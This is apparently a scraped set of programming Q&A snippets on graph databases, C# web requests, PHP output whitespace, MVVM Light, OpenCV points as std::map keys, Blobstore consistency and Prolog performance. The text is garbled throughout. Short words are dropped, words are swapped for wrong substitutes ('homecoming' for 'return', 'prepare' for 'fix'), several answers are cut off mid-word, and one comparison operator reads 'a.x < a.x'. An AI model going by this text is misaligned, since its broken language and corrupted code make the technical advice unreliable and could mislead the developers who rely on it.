sql - How is a graph database different to a graph represented in a relational database? - i can represent graph trivially in relational database 2 tables: vertex , edge . richer construction "properties" , "labels" (in neo4j terminology) can represented more tables. have misunderstood, or graph database neo4j allow me represent not representable relationally? i can query graph using sql, recursive subqueries if necessary, , multiple separate queries in transaction if necessary. have misunderstood, or graph query language cypher provide greater expressivity sql? the relational model of graph stored , queried efficiently, afaik. graph database construction storage, or optimize queries, in way provides performance characteristics cannot gained relational database? my relational database provides acid guarantees, , allows me write expressive constraints on graph info (and more constraints if break out single vertex table normalized schema). have misund

c# - loop through list of URLs using HttpWebRequest causing error -

c# - loop through list of URLs using HttpWebRequest causing error - looping through list of urls in mvc view class="lang-html prettyprint-override"> @foreach (var item in model) { httpwebrequest webrequest = httpwebrequest.create(@item.url) httpwebrequest; webrequest.method = webrequestmethods.http.get; webrequest.contenttype = "application/x-www-form-urlencoded"; using (httpwebresponse response = webrequest.getresponse() httpwebresponse) { if (response.statuscode == httpstatuscode.ok) { //do } else { //move next record } } } i getting the fine when error occurs can not move next record. i server error remote name not resolved: followed url in loop. thanks, doug always read documentation: getresponse method of httpwebrequest class can throw webexception , getting. basically, code never gets next record because it's throwing unhandled excep

Print from MySQL to PHP issue -

Print from MySQL to PHP issue - when i'm echoing big paragraph or text in php there's big space on first line. is there way prepare that? don't have space or , when check in database fine. <pre> <?php if ($rows['section'] == "text"){ echo ($rows['code']); }else{ ?> <code class="<?php echo($rows['section']); ?>" id="copycode"> <?php echo $rows['code'] ?> </code> <?php } ?> </pre> try replacing <code class="<?php echo($rows['section']); ?>" id="copycode"> <?php echo $rows['code'] ?> </code> with <code class="<?php echo($rows['section']); ?>" id="copycode"><?php echo $rows['code'] ?></code> from can see on website, there breakline , sp

c# - How to pass event arguments from view to view model? -

c# - How to pass event arguments from view to view model? - i had project wich target .net 4.0 , convert 4.5.1. unistall mvvm lite 4.0 , install new mvvm light, 5.0.0.1. however, have not eventtocommand , pass arguments of event view model. example, when select items in datagrid, want know in view selected items, because property selecteditems can binding because not dependency proerty, utilize mvvm lite pass objects. so how can pass arguments event view view model? thanks. from site, mentioned that: version doesn’t include eventtocommand , please utilize invokecommandaction instead. there solution provided here, might help you. c# .net mvvm-light

c++ - std::map with cv::Point as key -

c++ - std::map with cv::Point as key - i need create std::map<cv::point, double> . cv::point type of point opencv library. has fields like: x , y . cv::point not have < operator of course. have thought how define have optimal access element in std::map ? in other words. have illustration 20000 points. need quite fast access every point. for example: std::map<cv::point, double> mymap; point p(10, 234); int value = 777; mymap[p] = value; // need operation quite fast decided utilize std::map but cv::point not have < operator. can prepare < operator (it comparing illustration x coordinate): bool operator<(const cv::point a, const cv::point b) { homecoming a.x < a.x; } but guess not operator. many points has same value of x. how prepare efficient operator in case? according this documentation, cv::point represents 2 dimensional datapoint. this, can define operator < via standard lexicographic ordering: bool o

Blobstore Google App Engine read consistency -

Blobstore Google App Engine read consistency - does blobstore guarantee read consistency without write limit? i know google cloud sql does and datastore (but imposes 1 sec write limit) however can't find info on blobstore i've found blobstore perform fast , without consistency issues. if have process writes 1mb @ time perpetually, , starts few milliseconds later , starts reading blob, results in real-time long initial post didn't fail. in other words, can read blob parts (aka byte ranges) fast written. not sure how useful real usage of blobstore, if need read parts create image or binary, it's illustrate reply bit. correct, there no clear throughput/consistency documentation because doesn't quite work ndb , google claims true limit http connection: google app engine includes blobstore service, allows applications serve info objects limited amount of info can uploaded or downloaded on single http connection (from https://clou

Prolog: optimizing global structures for performance -

Prolog: optimizing global structures for performance - i have written prolog programme , trying optimize performance (yes, utilize case needs it). first background on how programme structured, know i've been. the scheme keeps client (user) orders in logic base, dynamically asserted logic base of operations come in (and dynamically removed 1 time processed using retract). orders structured so: order(regionid, userid, userbalance, orderid, productid, price, ...) . order(regionid, userid, userbalance, orderid, productid, price, ...) . ... order(regionid, userid, userbalance, orderid, productid, price, ...) . i liked fine, during testing, populated scheme 50,000 orders , found took inordinately long process (on order of few minutes - needed better). profiled , found time spent going through logic base of operations scooping orders processing, decided seek scheme. this makes sense because particular users tied particular regions: order(regionid, [ (userid